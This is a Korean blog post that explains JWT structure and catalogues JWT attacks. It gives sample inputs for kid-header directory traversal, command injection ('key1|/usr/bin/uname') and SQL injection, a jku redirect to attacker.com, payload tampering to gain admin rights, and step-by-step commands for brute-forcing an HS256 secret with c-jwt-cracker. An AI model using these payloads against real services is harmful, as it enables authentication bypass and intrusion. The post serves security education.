Veloideu - IT∽보안∽프로그래밍
article thumbnail
Published 2022. 9. 19. 14:43
[JWT] Json Web Token 취약점 🌍WEB

개요

 JWT구조

  • alg : 서명 암호화 알고리즘(ex: HMAC SHA256, RSA)
  • typ : 토큰 유형

Payload

토큰에서 사용할 정보의 조각들인 Claim 이 담겨있다. (실제 JWT 를 통해서 알 수 있는 데이터)

즉, 서버와 클라이언트가 주고받는 시스템에서 실제로 사용될 정보에 대한 내용을 담고 있는 섹션이다.

key-value 형식으로 이루어진 한 쌍의 정보를 Claim이라고 칭한다.

 

페이로드는 정해진 데이터 타입은 없지만, 대표적으로 Registered claims, Public claims, Private claims 이렇게 세 가지로 나뉜다.

  • Registed claims : 미리 정의된 클레임.
    • iss(issuer; 발행자),
    • exp(expireation time; 만료 시간),
    • sub(subject; 제목),
    • iat(issued At; 발행 시간),
    • jti(JWI ID)
  • Public claims : 사용자가 정의할 수 있는 클레임 공개용 정보 전달을 위해 사용.
  • Private claims : 해당하는 당사자들 간에 정보를 공유하기 위해 만들어진 사용자 지정 클레임. 외부에 공개되도 상관없지만 해당 유저를 특정할 수 있는 정보들을 담는다

Signature

시그니처에서 사용하는 알고리즘은 헤더에서 정의한 알고리즘 방식(alg)을 활용한다.

시그니처의 구조는 (헤더 + 페이로드)와 서버가 갖고 있는 유일한 key 값을 합친 것을 헤더에서 정의한 알고리즘으로 암호화를 한다.

JWT 인코딩 / 디코딩 해보기

직접 JWT 토큰을 생성해 연습해보고 싶다면, 아래 공식사이트에서 쉽게 JWT 토큰을 인코딩(생성) 하거나 디코딩 할수 있다.

 


JWT관련 취약점

Payload 내 정보 노출

Payload값 base64 디코딩를 통해 중요 정보가 노츨되어 취약점이 발생할 수 있습니다.

예시

// base64 Payload
eyJuYW1lIjoibWFrZWJyZWFkIiwidXNlcl9uYW1lIjoibWFrM2JyZWFkIiwicGFzc3dvcmQiOiJoaW1ha2VicmVhZCJ9

// decoded Payload
{
  "name": "makebread",
  "user_name": "mak3bread",
  "password": "himakebread"
}

Payload 조작 가능 및 권한 상승

payload를 조작하여, 허가되지 않은 기능을 실행하거나 현재 유저보다 높은 권한을 갖게 되는 취약점 입니다.

예시

{
  "name": "makebread",
  "user_name": "mak3bread",
  "admin": false
}

payload 데이터에 admin을 의미하는 True/False 값이 있는 경우 해당 토큰 값을 "admin" : true 로 설정하여 인증 우회 및 권한 상승을 할 수 있습니다.

 


Header Key Id Injection

Header에 key id관련 파라미터가 존재하는 경우, key id부분에서 여러 Injection 취약점이 발생할 수 있습니다.

Directory Traversal 예시

key id 파라미터로 파일 시스템에 접근하는 경우, Directory Traversal이 가능할 수 있습니다.

{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "../../../../../../dev/null"
}

RCE 예시

{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "key1|/usr/bin/uname"
}

SQLI 예시

kid 매개변수 삽입을 통한 SQLI

kid를 찾는 방식이

SELECT key FROM keys WHERE key='key1'

라면 다음과 같이 변조 하여 우회할 수 있습니다.

{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "xxxx' UNION SELECT 'aaa"
}

->

SELECT key FROM keys WHERE key='xxxx' UNION SELECT 'aaa'

Header JKU Parameter Attack

 

JWT의 Header에는 jku 파라미터가 사용될 수 있고, jku 파라미터에서 발생할 수 있는 취약점이 존재합니다.

예시

{
  "alg": "RS256",
  "typ": "JWT",
  "jku":"https://example.com/key.json"
}

다음과 같이 JWT헤더가 정의되어 있는 경우, key.json 파일에는

{
  "kty": "RSA",
  "n": "-4KIwb83vQMH0YrzE44HppWvyNYmyuznuZPKWFt3e0xmdi-WcgiQZ1TC...RMxYC9lr4ZDp-M0",
  "e": "AQAB"
}

다음과 같은 정보가 저장되어 있고 이를 사용하여 서명을 검증할 수 있습니다.

 

관련 우회

https://truested -> 해당 도메인인지 확인 하는 경우
attacker.com/key.json -> 공격자 JWK


None Algorithm Attack

 

공격자가 해싱 알고리즘을 'none'으로 변경하여 signature 검증을 우회할 수 있는 취약점.

예시


Brute-Force Attack

 

무차별 대입 공격으로 대칭키와 서명을 비교하여 JWT 무효화 시켜 JWT 위조하기

예시

사용되는 프로그램 (c-jwt-cracker)

openssl가 설치되어 있지 않다면, 먼저 openssl를 설치합니다.

$ brew install openssl

그 다음 터미널에서 다음 명령을 실행합니다.

$ make OPENSSL=/usr/local/opt/openssl/include OPENSSL_LIB=-L/usr/local/opt/openssl/lib

혹시 맥이 아닌 우분투라면 아래와 같이 설치합니다.

$ apt-get install libssl-dev

그 다음 jwt-cracker 리포토리를 clone 합니다.

$ git clone https://github.com/brendan-rius/c-jwt-cracker.git
$ cd c-jwt-cracker

이제 jwt-cracker를 실행 해봅니다.
다음은 sha256 해시함수를 사용하도록 하고 최대 암호 길이는 5글자, 그리고 문자열은 ABCSNFabcsnf1234 로 제한하여 실행하였습니다.

time \
  ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE \
  ABCSNFabcsnf1234 5 sha256

⇒ 결과적으로 Secret Key는 Sn1f이며 제 맥북에서 알아내는데 1초도 걸리지 않습니다.
Secret Key에 사용된 문자열과 길이, 알고리즘을 예상할 수 있다면 쉽게 알아낼 수가 있습니다.

 

 

 

//

참고 :

https://inpa.tistory.com/entry/WEB-%F0%9F%93%9A-JWTjson-web-token-%EB%9E%80-%F0%9F%92%AF-%EC%A0%95%EB%A6%AC

https://anpigon.tistory.com/138

https://velog.io/@thelm3716/JWTvul#-02-01-signature-%EB%AF%B8%ED%99%95%EC%9D%B8

 

JWT 해킹 사례를 통한 취약점 분석하기

많은 웹서비스들이 JWT(JSON Web Tokens)를 쿠키에 저장해놓고 사용자 인증에 사용하고 있습니다. 먼저 JWT가 무엇인지 알아보고, JWT의 취약점에 대해서 설명합니다. _ JWT란? JWT는 서버와 클라이언트

anpigon.tistory.com

 

[WEB] 📚 JWT 토큰 인증 이란? - 💯 이해하기 쉽게 정리

인증 방식 종류 (Cookie & Session & Token) 보통 서버가 클라이언트 인증을 확인하는 방식은 대표적으로 쿠키, 세션, 토큰 3가지 방식이 있다. JWT를 배우기 앞서 우선 쿠키와 세션의 통신 방식을 복습해

inpa.tistory.com

 

profile

Veloideu - IT∽보안∽프로그래밍

@Veloideu

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!